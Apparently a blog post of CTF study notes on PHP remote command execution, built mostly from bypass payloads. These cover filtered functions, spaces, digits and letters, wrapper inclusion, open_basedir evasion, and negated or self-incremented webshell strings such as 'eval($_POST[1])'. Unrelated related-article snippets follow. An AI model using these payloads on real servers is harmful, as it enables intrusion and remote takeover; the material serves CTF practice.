命令执行总结

之前做了一大堆的题目 都没有进行总结 现在来总结一下命令执行 我遇到的内容

这里我打算按照过滤进行总结

依据我做过的题目

过滤system

下面是一些常见的命令执行内容

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

过滤cat

有的题目不让我们读取

more:一页一页的显示档案内容less:与 more 类似 head:查看头几行tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示tail:查看尾几行nl:显示的时候,顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器,这个也可以查看vim:一种编辑器,这个也可以查看sort:可以查看paste:可以输出内容

如果这些也过滤 但是题目是直接给我们一个小马

/bin/?at flag.txt下面是通过base64返回如果特别极端 过滤数字/???/????64 ????.???我们可以通过base64返回内容或者使用 /???/???/????2 ????.???/usr/bin/bzip2这个会进行压缩 然后我们访问 /flag.php.bz2 即可

可以通过这种方式执行 bin下存放着我们许多的命令

过滤空格

${IFS}
$IFS$9
<
<>
%0a
%09

通过__FILE__获取

__FILE__ 表示当前文件
完整路径和文件名dirname()
获取一个网站路径的目录名scandir()读取目录的文件 然后作为一个数组print_r()打印数组内容localeconv()可以获取到 当前的数学符号current()指定第一个array_reverse()倒序输出如果print_r被过滤可以使用highlight_file
next()
指向当前指针的下一位end()
指向数组最后一位reset()
指向数组第一个prev()
指针往回走一位each()
返回当前指针的值 并且指针向前走一位

通过seesion执行命令

print_r(session_id(session_start()))Cookie: PHPSESSID=flag.php

通过请求头执行命令

system(current(getallheaders()));

通过构造新参数执行命令

很多时候 一些读取什么的全都没了 我们无法实现读取文件

这个时候 我们可以在小马中再加一个小马实现其他参数的注入

code=include$_GET[1]?>&1=system('ls')code=show_source(get_defined_vars()["_POST"]["a"])&a=/flaggggggg.txtcode=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.phpcode=require$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

协议读取

如果题目使用了include类型

data://text/plain,<?php system('tac fla?.php');?>data://text/plain;bvase64,base64加密后的命令

我们就可以使用伪协议来执行命令

绕过open_basedr

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

短开表达式

data://text/plain,<?=system('tac fla?.?hp');?>

通过POST文件 包含/tmp/临时文件

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://cd3eb1d9-31ec-4644-b057-c38153f6a911.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

这里向网站发包

然后通过正则匹配获取到文件

?c=.+/???/????????[@-[]

上传文件的内容如图所示

只过滤数字 getshell

${_} 返回上一条命令$(())echo $((${_}))   0echo $((~${_}))  -1echo $(($((~${_}))$((~${_}))))  -2echo $(($((~${_}))$((~${_}))$((~${_}))))   -3最后拼凑出来了数字后使用一个取反 将 负数变为正数echo $((~$(($((~${_}))$((~${_}))$((~${_})))))) 2取反会小一位 然后再加一位即可echo $((~$(($((~${_}))$((~${_}))$((~${_}))$((~${_}))))))  3

高亮文件

highlight_file()show_source()var_dump()var_export()配合include

无数字字母RCE

不能加参数

exp = ""
def urlbm(s):ss = ""for each in s:ss += "%" + str(hex(255 - ord(each)))[2:]return f"[~{ss}][!%FF]("
while True:fun = input("Firebasky>: ").strip(")").split("(")exp = ''for each in fun[:-1]:exp += urlbm(each)print(exp)exp += ")" * (len(fun) - 1) + ";"print(exp)

不能加参数的rce

eval(hex2bin(session_id(session_start())));print_r(current(get_defined_vars()));&b=phpinfo();eval(next(getallheaders()));var_dump(getenv(phpinfo()));print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件print_r(scandir(next(scandir(getcwd()))));//查看上一级目录的文件

自增

如果过滤取反这些符号 就考虑自增

直接payload

assert($_POST[_]);

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

然后通过url编码

%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b'!'%3d%3d'%40'%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d'_'%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b

取反

<?php$c='phpinfo';
$d=urlencode(~$c);
echo $d;
?>

 payload

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);eval($_POST[1])

现在目前学到的RCE 就总结在这里了 如果后面还存在 就继续加进去

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/214110.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI制作的《大多数普通女孩的一生》——公开教程和工作流

内容来源&#xff1a;JiamigouCn ​这周由AI制作的《大多数普通女孩的一生》&#xff0c;在抖音爆火&#xff0c;获得新华网转发。到目前为止&#xff0c;全网还没有公开教程和工作流&#xff0c;需要花费800-2000购买。 本着AI社区共享原则&#xff0c;我委托公众号“楚思智能…

分享一些感恩节祝福语

今天是感恩节&#xff0c;11月也是所有卖家冲刺年终旺季的刺激战场&#xff0c;而从感恩节开始的购物周则是欧美消费者最疯狂的购物时刻。因此关于感恩节营销&#xff0c;卖家要做的不仅仅是传达品牌温度和感恩之情&#xff0c;更要为即将开启的大促进行引流&#xff0c;吸引消…

nginx国密ssl测试

文章目录 文件准备编译部署nginx申请国密数字证书配置证书并测试 文件准备 下载文件并上传到服务器&#xff0c;这里使用centos 7.8 本文涉及的程序文件已打包可以直接下载。 点击下载 下载国密版openssl https://www.gmssl.cn/gmssl/index.jsp 下载稳定版nginx http://n…

JWT 还能这样的去理解嘛??

其他系列文章目录 设计模式合集 多线程合集 分布式合集 ES合集 文章目录 其他系列文章目录 文章目录 一、什么是 JWT? 二、JWT 由哪些部分组成&#xff1f; 2.1Header 2.2Payload 2.3Signature 三、如何基于 JWT 进行身份验证&#xff1f; 四、如何防止 JWT 被篡改&a…

git查看某个commit属于哪个分支方法(如何查看commit属于哪个分支)

有时候&#xff0c;当我们由于业务需求很多时&#xff0c;基于同一个分支新建的项目分支也会很多。 在某个时间节点&#xff0c;我们需要合并部分功能点时&#xff0c;我们会忘了这个分支是否已经合入哪个功能点&#xff0c;我们就会查看所有的commit记录&#xff0c;当我们找到…

pair和typedef

文章目录 一、pair用法1.2、pair的创建和初始化1.3、pair对象的操作1.4、(make_pair)生成新的pair对象1.5、通过tie获取pair元素值 2、typedef2.1、什么是typedef2.2、typedef用法2.2.1、对于数据类型使用例如&#xff1a;2.2.2、对于指针的使用例如2.2.3、对于结构体的使用 2.…

详解Java中的异常体系机构(throw,throws,try catch,finally)

目录 一.异常的概念 二.异常的体系结构 三.异常的处理 异常处理思路 LBYL&#xff1a;Look Before You Leap EAFP: Its Easier to Ask Forgiveness than Permission 异常抛出throw 异常的捕获 提醒声明throws try-catch捕获处理 finally的作用 四.自定义异常类 一.异…

生产实践:Redis与Mysql的数据强一致性方案

公众号「架构成长指南」&#xff0c;专注于生产实践、云原生、分布式系统、大数据技术分享。 数据库和Redis如何保存强一致性&#xff0c;这篇文章告诉你 目的 Redis和Msql来保持数据同步&#xff0c;并且强一致&#xff0c;以此来提高对应接口的响应速度&#xff0c;刚开始考…

《微信小程序开发从入门到实战》学习二十八

3.4 开发参与投票页面 3.4.3 使用radio单项选择器组件 逻辑层的数据已经准备好&#xff0c;现在实现视图层的页面展示。 投票的标题、&#xff0c;描述、截止日期、是否匿名等信息通过view和text组件就可以展示。比较特别的是投票选项的展示&#xff0c;涉及到单选还是多选&…

最全的电商API接口|全面淘宝平台数据接口参数和文档说明

淘宝联盟“工具服务商”开放招募 为了支持生态淘宝客业务提效及新业务模式拓展&#xff0c;淘宝联盟针对各工具业务模式招募若干工具服务商团队&#xff0c;仅限符合该招募规则的开发者申请创建工具服务商AppKey&#xff0c;并针对新引入的工具服务商将开放对应模式所需要的“服…

行业案例:如何打造高效内容团队

内容团队如何适应当下热点高频更新的时代&#xff1f;Zoho Projects项目管理软件能为内容团队带来什么&#xff1f;本文以真实用户案例为您详细解答&#xff01; 背景介绍&#xff1a; 该漫画团队已有十余年的奋斗历史&#xff0c;以原创漫画和绘本内容创作为主&#xff0c;出…